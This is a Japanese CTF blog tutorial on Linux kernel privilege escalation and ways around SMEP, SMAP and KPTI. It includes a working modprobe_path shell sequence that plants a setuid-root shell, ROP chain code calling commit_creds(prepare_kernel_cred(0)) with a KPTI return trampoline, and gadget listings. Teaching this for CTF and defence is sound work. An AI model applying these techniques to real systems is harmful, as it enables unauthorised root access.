# 最近のLinuxカーネルexploit問に対するテクニック集1 ###### tags: `kernel` `ctf` `pwn` # 概要 この記事は,[CTF Advent Calendar 2018](https://adventar.org/calendars/3210) の4日目の記事です. 3日目は私の「[Linuxカーネルexploit問におけるTIPS](https://hackmd.io/s/SkzwqTRAQ)」でした. 今回は - KPTI回避 について書きます.残念ながら新規性はありません.日本にはこういった記事はあまりありませんが,海外では普通に公開されている内容です. またLinux以外のOS(例えばWindows)には通用しないと思いますので,ご注意ください. # はじめに 大前提として,Linuxのカーネルexploit(権限昇格)についてある程度知っている方向けの内容となります. 全く知らないよ!って方は,[nokia31337の解説資料](https://speakerdeck.com/bata_24/katagaitai-ctf-number-3)で図を入れて解説したので,先にそちらで精進したほうが良いかと思います(2014年当時のARMにおけるLinuxカーネルExploit問です). また私はLinuxカーネルのソースを全て読んだことはなく,必要に応じてチラ見した程度なので,そこまで深い知識は持っていません.もし記事の内容に間違いがありましたら,優しく教えてください.マサカリ投げるのは禁止! # 攻略パターンのおさらい 最近は,CTFでもLinuxのカーネルExploit問題がちょくちょくでますね.CTFに出場するようなセキュリティ研究者なら,防御のためにも,カーネルの攻撃手法くらいは知っておかねばなりません. さて,Linuxのカーネルexploitパターンにはいくつか攻略方法があります.KPTIについて話す前に,軽くおさらいしておきましょう. ## ret2usr 昔から使われてきたテクニックで,カーネル内でRIPを奪ったら,カーネル権限のままユーザランドに戻るパターンの攻撃です. 大抵はユーザランドに予め用意しておいた`commit_creds(prepare_kernel_cred(0))`を実行し(これ以降は`cc(pkc(0))`と略します),他にもカーネル権限でやっておきたいことがあれば実行します(カーネル内の破壊したポインタの修正など). やることが済んだら,カーネル権限からユーザ権限に戻らなければなりません.権限の切り替えは`swapgs` + `iretq`を使います(x86_64の場合).これで権限を切り替えつつ綺麗にユーザランドへ戻ることができます. ![](https://i.imgur.com/Mmtuj6I.png) 但し,ユーザランドに`commit_creds()`と`prepare_kernel_cred()`を呼び出すコードを予め用意しておく必要があるため,これらのカーネル内でのアドレスを知らなくてはなりません.最近のカーネルにおける各種アドレスは,OSが起動する度にランダマイズされているため(`kASLR`),アドレスが固定ではありません.つまり,事前に(RIPを奪う前に)`kASLR`を突破するためのアドレスリークが必須なことに注意しましょう. ※別のバグを使って何らかのアドレスをカーネルからリークし,オフセットを減算してkernel_baseを求め,オフセットを加算して`commit_creds()`と`prepare_kernel_cred()`のアドレスを求め,それをユーザランドに埋め込むだけです.ユーザランドに埋め込む機械語は,例えば以下のようなものとなります. ```= ※カーネル権限でユーザランドに用意した以下コードを実行する xor rdi, rdi mov rbx, <prepare_kernel_cred address> call rbx mov rdi, rax mov rbx, <commit_creds address> call rbx ※この後,別途ユーザ権限でユーザランドに戻る必要がある ``` 但し,このような機械語を書き込んだカーネルから見える(そして実行できる)メモリが必要です. 2017年の冬までは後述のKPTIと呼ばれる機構が無かったため,カーネルのメモリ管理は甘く,ユーザランドで`RWX`なパーミッションのメモリを作っておくと,カーネルからもそのメモリに同一パーミッション(`RWX`)でアクセスできました.このためユーザランドで上記のようなコードを仕込んだメモリを事前に用意しておき,何らかのカーネルのバグを突いてRIPを奪い,このメモリのアドレスへリターンすれば,`cc(pkc(0))`が実行できました. ## uidの直接上書き Linuxではプロセス毎にカーネルスタックが用意されます.カーネルスタックは,システムコールを処理する時に使われます.そのカーネルスタックは共用体で,最下部から上へ向かってスタックとして使われるのですが,最上部にはプロセスに関するポインタも持っています. このポインタを頑張って色々辿っていくと,`struct cred`と呼ばれる構造体に行き着くことができ,ここにはプロセスのuidやgidなどの権限情報が書き込まれています.これを0にすれば,そのプロセスはrootになります. ![](https://i.imgur.com/Y6stsJm.png) RIPを奪わなくても,カーネルスタックのアドレスリークと任意アドレスの読み書きができれば達成できるため,非常に便利な手法ですが,今回は詳しくは触れません. 気になる方は,おなじみ[nokia31337の解説資料](https://speakerdeck.com/bata_24/katagaitai-ctf-number-3)に書いてあるので読んでみてください.`thread_union.thread_info->task_struct->cred->uid`と辿れることが書いてあります. 但し,現在は上記の資料執筆当時とは少しデータ構造が変わっており,`thread_union.task_struct->cred->uid`と辿るのが正しいようです(v4.16-rc1で入った変更らしく,カーネルのビルドコンフィグで切り替えるっぽい). ![](https://i.imgur.com/VJGcWqK.png) ![](https://i.imgur.com/ufRF2vy.png) ...(長いので省略)... ![](https://i.imgur.com/UjRChJU.png) ![](https://i.imgur.com/MhRiHtT.png) Stackjacking(Rosengropeテクニック/Obergropeテクニック)と名前のついた,汎用的なカーネルexploitテクニックも,本質的にはこのテクニックを使います. ## `sys_setuid`へのパッチ 古い(〜2016年頃?)ARMでのみ使えた手法です.カーネルの.text領域が`RWX`だったため,任意アドレスの読み書きができるバグさえあれば,カーネルを自由に改変できてしまうのでした. ユーザランドの`setuid()`システムコールに対応する,カーネル内の`sys_setuid()`は,呼び出したプロセスの権限を変更するため`cc(pkc(uid))`のようなコードを実行しますが,ちゃんと事前に権限チェックしています.でもこの権限チェックを`NOP`にしてしまえば,誰でも`setuid(0)`,つまり`cc(pkc(0))`が呼び出せることになります. ![](https://i.imgur.com/wufwY89.png) 最近はこんな簡単な問題はもう出なくなりましたね.この手法についても,これ以上は触れません.気になる方は同じく上記資料に書いてあるので,読んでみてください. ## SMEP回避 (ユーザランドでROP) x86/x64に限定した話ですが,ret2usrへの対策でIntel製CPUがSMEPという防御機構を搭載しました.これにより,カーネル権限ではユーザランドのメモリを実行することができなくなりました.カーネルがユーザランドのメモリアドレスを実行しようとすると,クラッシュするようになったのです. でも回避は簡単です.SMEP有効フラグは`cr4`レジスタにあるので,SMEP無効フラグを設定した値で`cr4`を更新すれば終わりです. 1. ユーザランドのメモリにカーネル内のROPガジェットを配置しておく 2. カーネルのRIPを奪う 3. ユーザランドへstack pivot(ユーザランドのメモリはSMEPにより実行できないが,スタックとしてアクセスすることはできてしまう) 4. ユーザランドのメモリを使ってカーネル権限でROPし`CR4`のSMEPフラグをクリア 5. ret2usrで`cc(pkc(0))` とすれば終わりです. ![](https://i.imgur.com/ZUYvLpV.png) 私がカーネルexploitを覚えてからずっと使っていたテクニックで,大会では何度もお世話になりました. ## SMAP回避 (カーネル内でROP) Intel製CPUは,SMEP回避への対策でさらにSMAPという防御機構を搭載しました.これにより,カーネル権限ではユーザランドのメモリへアクセスすることができなくなりました(`copy_from_user()`とかでどうしてもユーザランドへのアクセスが必要な場合だけ,`EFLAGS.AC`ビットで一時的にSMAPをオフにするなどしてたと思います). でも回避は簡単です.SMAP有効フラグも`cr4`レジスタにあるので,SMAPフラグを無効とした値で`cr4`を更新すれば終わりです. ユーザランドにstack pivotすることができないため,カーネル内だけでROPする必要があり,難易度は上がります.しかし,カーネル内でROP用の空間を確保さえすれば終わりですね.`shmget()`で大きめのメモリを確保しても良いし,カーネルのdataっぽいところを利用する,という方針でも良いでしょう.ROP達成後は,先と同じくret2usrで`cc(pkc(0))`をすればOKです. ## SMAP回避 (ret2dirでROP) ret2dirと呼ばれるテクニックもあります. SMAPによりカーネルからユーザランドのメモリへのアクセスは制限されていますが,同じ内容のメモリがカーネル空間に存在した場合,そこへのアクセスは問題なくできてしまいます. 実はカーネルは全ての物理メモリをカーネル空間にストレートマッピングしています.つまり物理アドレスへ擬似的にアクセスできてしまうのです.これによりユーザランドで用意したメモリはカーネル空間にも必ず存在することになるため,そこでROPをすれば良いじゃない,という方法です. 攻撃にはユーザランドで確保した仮想アドレスに対応する物理アドレスを知っておく必要がありますが,`/proc/$PID/pagemap`を読んで計算すれば物理アドレスへ変換可能です.そのアドレスに,ストレートマッピングのベースアドレスを足せばよいでしょう. 但し,最近のLinuxでは一般ユーザがこのファイルを読む権限を持たないように変更されたため,ret2dirは実用的ではなくなりました(ストレートマッピング自体は多分まだ使われているはずですが,別の方法で物理アドレスを取得しなければなりません). # KPTI (Kernel page-table isolation) はい,ようやく前準備が整いました.SMEPやSMAPと呼ばれる防御機構はいずれも強力ですが,攻撃を完全に防ぐことはできませんでした.そこで,KPTIという防御機構が作られたわけですね. 私はカーネルのパッチを追いかけてる訳ではないので詳しく知りませんが,どうやら2017年秋にKAISERと呼ばれる機構が提案されて,これがKPTIの原型だそうです.ちょうどその頃MeltdownやSpectreと呼ばれるCPUの脆弱性が秘密裏に報告され,KAISERはMeltdownに有効だったため,水面下でパッチが取り入れられたようですね. KPTIは「カーネル空間のページテーブルと,ユーザ空間のページテーブルを,独立して管理する」みたいな感じの機構です.ちゃんと調べたわけではありませんから,本質は違うのかもしれません.でもCTFで戦うにはこの程度の理解で良いでしょう.[英語版Wikipedia](https://en.wikipedia.org/wiki/Kernel_page-table_isolation)にある図とかは,比較的分かりやすいと思います. SMEPもSMAPも,`cr4`のフラグを消して回避したあとは,ret2usrに持ち込むのが一般的でした.`cc(pkc(0))`を実行するだけならROPでも十分書けると思いますが,RIPを奪うために破壊してしまったカーネル空間の各種データを元に戻したり,二度目以降は呼ばれないようにしたり,SElinuxのような別の防御機構を外したり,と多くの場合は他にも色々やる事があるためです.全部ROPで片付けるには少々面倒なので,ret2usrに持ちこみアセンブリを実行して達成するパターンが多いのです. さてret2usrが効く原因は,カーネルからユーザランドのメモリが`RWX`で見えてしまっていたことによります.KPTIによりページテーブルを分離できたので,ついでにユーザランドのメモリは全て`RW-`でマップするような変更も入ったようです.ソースで確認したわけではありませんが,LWN.netに[このような記事](https://lwn.net/Articles/741878/)があります. > Another potential vulnerability comes about if the kernel can ever be manipulated into returning to user space without switching back to the sanitized PGD. Since the kernel-space PGD also maps user-space memory, such an omission could go unnoticed for some time. The response here is to map the user-space portion of the virtual address space as non-executable in the kernel PGD. Should user space ever start running with the wrong page tables, it will immediately crash as a result. > カーネルが,ユーザ空間用にサニタイズされたPGD(Page Global Directory)へ戻らないままユーザ空間へリターンし操作できるようになった場合,別の潜在的な脆弱性が生じます.カーネル空間のPGDも,ユーザ空間のメモリはマップしているため,そのようなことが起きてもしばらくは気付けない可能性があります。 この問題への対応として,仮想アドレス空間のユーザ空間部分は,カーネルPGDへnon-executableとしてマップすることにしました.ユーザー空間のコードが,間違ったページテーブルで実行されると,すぐにクラッシュします. 従って,ユーザランドで`RWX`なメモリであっても,カーネルからは全て`RW-`というパーミッションでマップされるようになりました.これにより,ret2usrは完全に使えなくなってしまいました.ここまでがKPTIの話です. # KPTIの回避 KPTIが有効な環境では,ユーザランドのメモリを実行することは出来ません.従ってKPTIを回避するには,カーネル内部だけで権限昇格を完結させなければなりません(尚,SMAP無効ならば,データ領域としてユーザランドのメモリを参照することは可能です). それでは,CTFでよく使われるテクニックをいくつか紹介しましょう. ## `modprobe_path`の改変 [PPPのKNOTEのWriteup](https://github.com/pwning/public-writeup/tree/master/0ctf2017/knote)を見て知ったテクニックです. 初出は[こちらの資料](http://powerofcommunity.net/poc2016/x82.pdf)の3-3(p29~)でしょうか.JailBreak界隈ではもっと前から知られていた,という話も聞きましたが,よくわかりません. カーネルの`.data`領域には,`modprobe_path`と呼ばれる変数があります. ![](https://i.imgur.com/O1mXbt8.png) 変数には`"/sbin/modprobe"`が初期値で入っていますが,`/proc/sys/kernel/modprobe`経由でユーザランドから設定値を見ることができ,root権限があれば値の書き換えも可能となっています.書換可能なパラメータであるため,`RW`なメモリにマップされています. さて,任意のアドレスに対して任意の値で書き換えられるカーネルのバグがあったとしましょう.そのバグを悪用し,`modprobe_path`にある文字列を`/sbin/modprobe`から`/tmp/hogehoge`に改変したと仮定します. この時,以下のようなコマンドをユーザランドで打つことで,権限昇格が可能です. ```shell= $ echo -ne '#!/bin/sh\n/bin/cp /bin/sh /tmp/sh\n/bin/chmod 4777 /tmp/sh\n' > /tmp/hogehoge $ chmod +x /tmp/hogehoge $ echo -ne '\xff\xff\xff\xff' > /tmp/a $ chmod +x /tmp/a $ /tmp/a $ /tmp/sh -p # ``` なぜこれが起こるのかを解説していきましょう. LinuxにはユーザーモードヘルパーAPIと呼ばれる機構があり,カーネルからユーザランドのバイナリを実行できるようになっています.呼び出される経路の一例として,「登録されていないフォーマットのバイナリが実行された際に,そのようなバイナリをハンドリングできるモジュールが無いかを探そうとする目的で,`modprobe`コマンドを発行する」というものがあります. 経路的には以下の通りです(カーネル v4.12の時の調査メモから持ってきてるので,最新版では間違ってる可能性があります). ```C= sys_execve() do_execve() do_execveat_common() bprm_mm_init() exec_binprm() search_binary_handler() request_module() __request_module() call_modprobe() ★ call_usermodehelper_setup() call_usermodehelper_exec() queue_work() ``` で,`call_modprobe()`は以下の通りです. ![](https://i.imgur.com/uUcxRHw.png) `<modprobe_path> -q -- <module_name>`らしきコマンドを発行しているように見えますね. つまり以下を実行すると,`'\xff\xff\xff\xff'`というヘッダを持つフォーマットのバイナリは実行できないので,ハンドリング可能なモジュールが無いかどうかを探すために,暗黙的に`call_modprobe()`が呼ばれるのです.もちろん,`call_modrprobe()`が呼ばれたとしても,そんなヘッダを持つバイナリをハンドリングできるようなカーネルモジュールはありませんので,実質的には何も起きません.最終的に,画面には`command not found`と出力されて終わりです.でも,内部的には`call_modprobe()`が呼ばれている,という点が重要なのです. ```shell= $ echo -ne '\xff\xff\xff\xff' > /tmp/a $ chmod +x /tmp/a $ /tmp/a ./a: line 1: $'\377\377\377\377': command not found ``` ここまで理解したら後は簡単ですね.`modprobe_path`を`/tmp/hogehoge`に改変した,と仮定していますから,`/tmp/hogehoge`にカーネル権限で実行してほしいコードを書いておき,上記の手順で`call_modprobe()`を呼び出せばOKです.例では,`/bin/sh`をパーミッション`4777`で`/tmp/sh`に配置する,というコードを書いています.尚,実行させるコマンドは一応全てフルパスで書いておいた方が良いと思います. ```shell= $ echo -ne '#!/bin/sh\n/bin/cp /bin/sh /tmp/sh\n/bin/chmod 4777 /tmp/sh\n' > /tmp/hogehoge $ chmod +x /tmp/hogehoge $ echo -ne '\xff\xff\xff\xff' > /tmp/a $ chmod +x /tmp/a $ /tmp/a $ /tmp/sh -p # ``` この手法の良い点は,本質的にRIPを奪う必要がないためSMEP/SMAP/KPTIのいずれも回避しやすい点です.カーネルのバグを使って達成すべき内容は`modprobe_path`を別の文字列に書き換えるだけであり,その後rootになるためのトリガは別途引き起こせば良い点にあります. 尚,ユーザーモードヘルパーAPIで利用されるグローバル変数の値を無視する[`CONFIG_STATIC_USERMODEHELPER`というビルドコンフィグ](https://outflux.net/blog/archives/2017/05/02/security-things-in-linux-v4-11/)が既に存在し,これが有効な場合はこのテクニックは使えません.これが有効な場合,例えば`modprobe_path`の値を無視し,ユーザランドの特定のプログラムで判定して実行する,みたいな機構になります.但し,まだデフォルトでは有効になっていないようです(Ubuntu 18.04のカーネルで確認). ## `modprobe_path`の改変(発展形) 先のテクニックは,RIPを奪えるケースと組み合わせる事もできます.RIPを奪った箇所からstack pivotでROPに持ち込めば,たった6個のガジェットから成る,次のようなROPでrootを取ることが出来ます. ```= pop gadget value # 0x0061612f706d742f (="/tmp/aa\0") pop gadget addr # modprobe_path のaddress mov gadget # *addr = value を達成するようなもの infinity_loop gadget # executableな0xeb 0xfe(jmp $-2)のあるaddress ``` 最後はカーネル内で無限ループの起きる場所にリターンしています.ユーザランドへ戻るための復帰用コードを書かなくても良いところがミソです. これで良いのか?と思われるかもしれませんが,最近のCTFの問題では大抵利用可能です.何故なら最近のカーネルexploit問ではRace Conditionバグを突かせる問題が多く,その場合はCPUが2つ以上動いています(`/proc/cpuinfo`で確認可能).片方のCPUがカーネル内の無限ループで死んでも,もう一つのCPUが正常に動いていれば,ユーザランドのコマンドを叩くことは可能だからです. このテクニックは,大会が終わった後に入手した,WCTF 2018のklistという問題を勉強がてら解く時に使いました.klistの解説は明後日の記事で行います. ※ちなみに,元ネタはnokia31337のWrite-upで使われていたテクニックです.nokia31337という問題はFreeRTOS+Linuxのハイブリッドな環境だったため,このテクニックが有効だったのですが,CPUが2つ以上動いているなら純粋なLinux環境でも利用可能です. その後の調査で,このテクニックはシングルCPUでも問題なく利用可能なことが分かっています.但し若干の変更が必要で,`infinity_loop gadget`に飛ばすのではなく,`rdi`に大きな値を入れて`msleep()`に飛ばす必要があります. ## `poweroff_cmd`の改変 modprobe_pathテクの劣化版といえるテクニックです.[blueborneのPoC](https://github.com/ArmisSecurity/blueborne/blob/master/linux-bluez/amazon_echo/exploit.py)でも使われています. ![](https://i.imgur.com/slFul2S.png) 上記の`poweroff_cmd`変数を書き換えておき,`__orderly_poweroff()`を呼び出すことで,ユーザ空間のコマンドを発行します.尚,`poweroff_cmd`変数の現在値は,`/proc/sys/kernel/poweroff_cmd`で確認することができます. ![](https://i.imgur.com/VKp502D.png) 注意点があります.`__orderly_poweroff()`は,筐体温度が上がりすぎた場合にgracefulにOSを落とす目的で,thermalモジュールから呼ばれる関数ですが,これを手動で(一般ユーザ権限で各種コマンドを駆使して)呼び出す方法は多分ありません. つまり`modprobe_path`の時のように,メモリの値を書き換えただけでは不十分で,カーネル内でRIPを奪って`__orderly_poweroff()`に飛ばす必要があります.`modprobe_path`テクの劣化版と書いたのはこのような理由によります. 逆に,blueborneのようなリモートexploitであればこのテクニックの方が好ましくなります.「一般ユーザ権限でコマンドを実行することで呼び出せる」というメリットは,リモートexploitでは意味をなしませんから,`modprobe_path`テクも`poweroff_cmd`テクも同じです.そして筐体の温度が上がって落ちるという事はめったに起こらないと考えられますから,`__orderly_poweroff()`が呼ばれるケースは,`call_modprobe()`が呼ばれるケースよりも更に低いと言えます.従って,書き換えた値がカーネルの動作に影響を及ぼしにくい,というメリットがあります. 尚,一緒に定義されている`reboot_cmd`変数を使っても同様の事ができると思います. ## run_cmd `run_cmd`を用いても可能です.SMAPが無いならこちらのほうが楽かもしれません. ![](https://i.imgur.com/TBP141R.png) 実行したいコマンドを書いたアドレスを第一引数に渡せばOKです. ## core_pattern `core_pattern`を用いても可能です.`core_pattern`の中身を`|/tmp/x`などへ書き換えた後に,適当なプログラムをSIGSEGVなどさせれば,書いたコマンドが実行されます. ## ramfsにおけるテクニック TWCTF 2018のReadableKernelModuleで出題されたネタですね.[PoCはこちらです](https://pastebin.com/ZzL0b5wD). CTFのカーネルexploit問では,多くの場合ファイルシステム上の`/root/flag.txt`がフラグです.rootにならないとフラグが読めないので,なんとかしてrootになろう,というのが前提です. しかし出題されるほぼ全ての問題はqemu用のイメージファイルとして渡されており,そのイメージはramfsのようにメモリに展開されて扱われるため,ファイルシステムが全てメモリ上に存在します.つまりフラグのファイルもメモリ上に存在します. もしメモリを広く走査することができるようなバグがあれば,例えば`"CTF{"`のような特徴的なフラグフォーマットをメモリ上から探し,前後をダンプするだけでフラグが読み取れてしまいます. ret2usrを使っているわけではないので,これもKPTIを回避可能ですね. 対策としては,`/root/flag.txt`には読んでもゴミと判別がつかないデータを入れておき,`CTF{$(sha256sum /root/flag.txt)}`,をフラグとする,という方法が望ましいと思います.(0CTF 2018のZeroFSという問題では,ちゃんとこの対策が取られていました). ## KPTI exitトランポリンテク 実は,これが最も一般的なテクニックです. KPTIのページテーブルに関する情報は`CR3`レジスタが持っているので,`iretq`でユーザランドへ戻る場合には`CR3`を正しい値にしなければなりません. これはそういうガジェットが見つかっているので,これを利用すると良いでしょう. 以下のURLが参考になります. - https://github.com/pr0cf5/kernel-exploit-practice/tree/master/bypass-smep - https://github.com/perfectblue/ctf-writeups/blob/master/2019/0ctf-finals-2019/Fast%26Furious/hax.c - https://github.com/zzoru/ctf/blob/master/write-ups/2019/twctf/gnote/ex.c - https://hackmd.io/@ptr-yudai/rJp1TpbBU ``` /* "swapgs_restore_regs_and_return_to_usermode" https://elixir.bootlin.com/linux/v4.19.26/source/arch/x86/entry/entry_64.S#L674 0xffffffff81c0098a: mov rdi,rsp 0xffffffff81c0098d: mov rsp,QWORD PTR gs:0x5004 0xffffffff81c00996: push QWORD PTR [rdi+0x30] 0xffffffff81c00999: push QWORD PTR [rdi+0x28] 0xffffffff81c0099c: push QWORD PTR [rdi+0x20] 0xffffffff81c0099f: push QWORD PTR [rdi+0x18] 0xffffffff81c009a2: push QWORD PTR [rdi+0x10] 0xffffffff81c009a5: push QWORD PTR [rdi] 0xffffffff81c009a7: push rax 0xffffffff81c009a8: xchg ax,ax // ★ 0xffffffff81c009aa: mov rdi,cr3 0xffffffff81c009ad: jmp 0xffffffff81c009e3 --- 0xffffffff81c009e3: or rdi,0x1000 0xffffffff81c009ea: mov cr3,rdi 0xffffffff81c009ed: pop rax 0xffffffff81c009ee: pop rdi 0xffffffff81c009ef: swapgs 0xffffffff81c009f2: nop DWORD PTR [rax] 0xffffffff81c009f5: jmp 0xffffffff81c00a20 --- 0xffffffff81c00a20: test BYTE PTR [rsp+0x20],0x4 ; check cs cpl 0xffffffff81c00a25: jne 0xffffffff81c00a29 ; return to kernel, don't want this. 0xffffffff81c00a27: iretq ; return to userland */ ``` このガジェットを利用する際は,カーネル空間のスタックに`rip`,`cs`, `rflags`, `rsp`, `ss`の5つを順序良く積んでおく必要があります.これらを都度調整するのは面倒なため,exploitの開始直後に値を取得/保存し,それを使い回すのが良いでしょう. ``` unsigned long user_cs; unsigned long user_ss; unsigned long user_sp; unsigned long user_rflags; static void save_state() { __asm__("mov %0, cs": "=r"(user_cs)); __asm__("mov %0, ss": "=r"(user_ss)); __asm__("mov %0, rsp": "=r"(user_sp)); __asm__("pushf; pop %0": "=r"(user_rflags)); } static void win() { char *argv[] = {"/bin/sh", NULL}; char *envp[] = {NULL}; puts("[+] Win!"); execve("/bin/sh", argv, envp); } ... // rop in exploit *chain++ = kbase + rop_pop_rdi; *chain++ = 0; *chain++ = kbase + prepare_kernel_cred; // pkc(0) *chain++ = kbase + rop_mov_rdi_rax; *chain++ = kbase + commit_creds; // cc(pkc(0)) *chain++ = kbase + rop_bypass_kpti; // return to usermode *chain++ = 0xdeadbeef; *chain++ = 0xdeadbeef; *chain++ = (unsigned long)&win; *chain++ = user_cs; *chain++ = user_rflags; *chain++ = user_sp; *chain++ = user_ss; ``` ROPで`cc(pkc(0))`したあとに,上記の`rop_bypass_kpti`ガジェットに飛べば,正しくユーザランドへ戻ることができます.後はユーザランドで`execve("/bin/sh")`するだけです. 尚,★をつけた部分には注意しましょう.`vmlinux`をIDAで開くなどすると,この部分のアセンブリはjmp命令になっています.しかし実際のメモリをダンプすると,`xchg ax, ax`となっており,jmp命令は何らかのタイミングで置換されるようです. ## SEGVハンドラでごまかす 以下のURLが参考になります. - https://breaking-bits.gitbook.io/breaking-bits/exploit-development/linux-kernel-exploit-development/kernel-page-table-isolation-kpti KPTI環境下で`CR3`レジスタを元に戻さずユーザランドに復帰するとクラッシュしますが,クラッシュとはSEGVのことであるため,ユーザランドにてSEGVハンドラを事前に用意しておくと,SEGVハンドラが呼び出されて問題なく復帰できます. ## chmodテク 以下のURLが参考になります. - https://github.com/pr0cf5/kernel-exploit-practice/tree/master/bypass-smep - https://github.com/perfectblue/ctf-writeups/blob/master/2019/0ctf-finals-2019/Fast%26Furious/voidexp.c - カーネルexploitでは,`flag.txt`が読めればOKです.つまり,rootシェルを取得する必要はなく,`chmod("/root/flag.txt", 0777)`でも条件は達成できることになります. RIPを奪ったあと,上記を満たすようなROPを呼んでも良いでしょう. `chmod`は以下の形式です. ``` 595 SYSCALL_DEFINE2(chmod, const char __user *, filename, umode_t, mode) 596 { 597 return do_fchmodat(AT_FDCWD, filename, mode); 598 } ``` 尚,実際のアセンブリでは`SYSCALL_DEFINE2(chmod, ...)`は,引数が`rdi`相対(メモリ上に引数が配置されていて,`[rdi+XXX]`のように取ってくる)で渡されてくるようなので注意しましょう. 以下は`SYSCALL_DEFINE2(chmod, ...)`のアセンブリです. ``` .text:FFFFFFFF8129F9C0 .text:FFFFFFFF8129F9C0 .text:FFFFFFFF8129F9C0 .text:FFFFFFFF8129F9C0 sub_FFFFFFFF8129F9C0 proc near .text:FFFFFFFF8129F9C0 000 E8 8B 1D 96 00 call nullsub_1 .text:FFFFFFFF8129F9C5 000 55 push rbp .text:FFFFFFFF8129F9C6 008 0F B7 57 68 movzx edx, word ptr [rdi+68h] .text:FFFFFFFF8129F9CA 008 48 8B 77 70 mov rsi, [rdi+70h] .text:FFFFFFFF8129F9CE 008 BF 9C FF FF FF mov edi, -100 ; AT_FDCWD .text:FFFFFFFF8129F9D3 008 48 89 E5 mov rbp, rsp .text:FFFFFFFF8129F9D6 008 E8 F5 FE FF FF call sub_FFFFFFFF8129F8D0 // do_fchmodat .text:FFFFFFFF8129F9DB 008 48 98 cdqe .text:FFFFFFFF8129F9DD 008 5D pop rbp .text:FFFFFFFF8129F9DE 000 C3 retn .text:FFFFFFFF8129F9DE sub_FFFFFFFF8129F9C0 endp .text:FFFFFFFF8129F9DE ``` ROPするなら`rdi, rsi, rdx`を揃えた上で,`do_fchmodat()`を直接呼び出したほうがわかりやすいかもしれません.尚`rdi`に設定すべき`AT_FDCWD`は`-100`,つまり`0xFFFFFF9c`です. ROPで`cc(pkc(0))`したあとに,上記の通り`fchmodat()`を呼び,`msleep()`か無限ループに突入すれば,別スレッドでフラグを読むことができるでしょう. ## WP0の無効化+コード改変 メモリの属性はページテーブルを用いて定義されていますが,書き込み保護が有効になるのは`CR0`の`WP`フラグが立っているときだけです. `CR0`の`WP`フラグを落とすにはいくつか考えられますが,以下のどちらかがよく使われます. - `native_write_cr0(int)`を呼び別の値で`CR0`を変更 - ROPで直接`CR0`の`WP`フラグを落とす 最後に`mov [reg], reg`のようなガジェットを使ってカーネルのコードにパッチを当て,`msleep()`や無限ループに突入すれば良いでしょう.尚,パッチの当て先としては,例えば`sys_setuid()`の条件を潰すなどが代表的なターゲットとしてよく知られています. ## コード領域へのRW権限付与 Linuxカーネルには,`set_memory_rw()`があります. ``` int set_memory_rw(unsigned long addr, int numpages) { return change_page_attr_set(&addr, numpages, __pgprot(_PAGE_RW), 0); } ``` これを呼び出すと,ページテーブル内の属性フラグにRW属性が追加されるので,カーネルのコード領域であっても読み書きすることができるようになります. ## データ領域への実行権限付与 似たような関数に`set_memory_x()`があります. ``` int set_memory_x(unsigned long addr, int numpages) { if (!(__supported_pte_mask & _PAGE_NX)) return 0; return change_page_attr_clear(&addr, numpages, __pgprot(_PAGE_NX), 0); } ``` 例えばスタックに対してこの関数を呼ぶと,スタックに実行属性を追加することができます. # 終わりに 今回は最近のカーネルのexploitでよく使われるテクニックについて,ざっと紹介しました. より深く学びたければ,各種資料へのリンクがまとまっている[Linux Kernel Exploitation](https://github.com/xairy/linux-kernel-exploitation)あたりを読むと良いと思います.今回紹介した内容は,大体このリンクのどこかにあった内容だと思います. 明日も私が記事を担当します.比較的最近追加されたシステムコールである`userfaultfd()`の悪用の話([最近のLinuxカーネルexploit問に対するテクニック集2](https://hackmd.io/s/SJ4jQLeJN))です.良ければ見てくださいね.